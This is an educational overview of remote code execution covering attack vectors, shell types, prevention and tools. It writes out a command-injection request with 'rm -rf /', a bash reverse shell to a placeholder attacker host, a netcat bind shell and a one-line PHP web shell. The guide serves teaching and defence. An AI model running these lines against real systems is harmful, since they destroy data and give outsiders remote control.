# Remote Code Execution (RCE)

Remote Code Execution (RCE) is **a critical security vulnerability that allows an attacker to execute arbitrary code on a remote machine, typically with the privileges of the exploited application or service**. Once RCE is achieved, attackers often escalate their privileges or establish persistent access by getting a shell on the target system.

## 1. How RCE Works

RCE exploits vulnerabilities in applications, services, or protocols to execute code provided by the attacker. Common vectors include:

- **Input Validation Issues**
  - Unvalidated or unsanitized user input is directly processed as executable code.
  - Example: Command injection or deserialization vulnerabilities.
- **Software Bugs**
  - Exploiting flaws in software logic or memory management.
  - Example: Buffer overflows or use-after-free vulnerabilities.
- **Configuration Weaknesses**
  - Misconfigured systems or applications allowing unintended code execution.
  - Example: Misconfigured web servers executing user-uploaded scripts.

## 2. Techniques to Achieve RCE

### a. Injection Vulnerabilities

- **Command Injection**
  - Injecting malicious commands into a vulnerable system that executes them.
  - Example:

```
GET /ping?ip=127.0.0.1;rm -rf / HTTP/1.1
```

- **SQL Injection with Execution**
  - Exploiting database functions to execute system commands.
  - Example: xp_cmdshell in SQL Server.

### b. Deserialization Attacks

- Definition: Sending malicious serialized objects to applications that deserialize data insecurely.
- Example:
  - Injecting payloads into Java or Python serialized objects to execute commands.

### c. Exploiting Memory Corruption

- **Buffer Overflow**
  - Overwriting memory locations to execute arbitrary code.
- **Return-Oriented Programming (ROP)**

- Using existing executable code (gadgets) in memory to achieve execution.

### d. Exploiting Web Application Vulnerabilities

- **File Uploads**
  - Uploading malicious scripts to servers and accessing them via a browser.
- **Remote File Inclusion (RFI)**
  - Including external malicious scripts via unsanitized URLs.

### e. Exploiting Remote Services

- **Exposed APIs**
  - Sending payloads to vulnerable APIs that execute code.
- **Weak Authentication**
  - Exploiting poorly protected admin panels or services to execute commands.

## 3. Getting Shells

Once RCE is achieved, attackers often aim to establish a shell for interactive access to the target system.

### a. Reverse Shell

- Definition: A shell that connects back to the attacker's machine.
- Mechanism:
  - The **attacker sets up a listener** on their machine.
  - The payload on the victim's machine opens a connection to the attacker.
- Example (Bash):

```
bash -i >& /dev/tcp/attacker_ip/port 0>&1
```

### b. Bind Shell

- Definition: A shell that **listens on a port on the target machine, allowing the attacker to connect** to it.
- Mechanism:
  - The target machine opens a port and binds the shell to it.
  - **The attacker connects to this port** to access the shell.
- Example (Netcat):

```
nc -lvp 4444 -e /bin/bash
```

### c. Web Shell

- Definition: A malicious script uploaded to a web server that provides remote command execution via HTTP requests.
- Example (PHP):

```
<?php echo shell_exec($_GET['cmd']); ?>
```

## 4. Prevention of RCE and Shell Exploits

### a. Input Validation and Sanitization

- **Validate and sanitize all user inputs**, especially those interacting with system commands or file paths.
- Example: Use parameterized queries in SQL to prevent SQL injection.

### b. Secure Coding Practices

- **Avoid insecure functions** (e.g., eval(), exec(), system()).
- Use safer alternatives or libraries for handling external processes.

### c. Patch Management

- **Regularly update and patch** software to fix known vulnerabilities.

### d. Access Controls

- **Restrict access** to sensitive services and endpoints.
- Use strong authentication for administrative interfaces.

### e. Configure Systems Securely

- **Disable unused features or functions** (e.g., xp_cmdshell in SQL Server).
- Set appropriate file permissions to prevent unauthorized execution.

### f. Use Security Tools

- **Web Application Firewalls (WAFs)**
  - Block malicious payloads targeting web applications.
- **Endpoint Detection and Response (EDR)**
  - Monitor and detect malicious activity on endpoints.
- **Intrusion Detection Systems (IDS)**
  - Identify and alert on suspicious behavior, such as unexpected reverse shell activity.

### g. Segmentation and Least Privilege

- **Isolate critical systems** to limit the impact of RCE.
- Ensure processes run with the **minimum privileges** needed.

## 5. Tools Used by Attackers and Defenders

### a. Tools for Exploitation

- **Metasploit**
  - A framework for developing and executing exploits.

- **Netcat**
  - A utility for reverse and bind shells.
- **Cobalt Strike**
  - A commercial tool often used in penetration testing (and by attackers).

## b. Tools for Prevention and Detection

- **Snort/Suricata**
  - **Network-based IDS/IPS** for detecting malicious traffic.
- **OSQuery**
  - **Monitors system** behavior to identify abnormal processes.
- **SIEM Solutions**
  - **Aggregates logs and alerts to detect RCE and shell activity**.

# 6. Summary

| Aspect | Details |
|---|---|
| What Is RCE? | A vulnerability allowing execution of arbitrary code on a remote system. |
| Common Techniques | Command injection, deserialization, memory corruption, and file uploads. |
| Shell Types | Reverse shell, bind shell, web shell. |
| Prevention Strategies | Input validation, secure coding, patch management, and access controls. |
| Key Tools | Metasploit, Netcat, WAFs, IDS, EDR. |

**Remote Code Execution (RCE) is one of the most critical and dangerous vulnerabilities, often serving as a gateway to more severe attacks like data breaches or ransomware deployment**. By understanding how RCE works, including its techniques and preventive measures, organizations can significantly enhance their defenses against these threats and safeguard their systems from exploitation.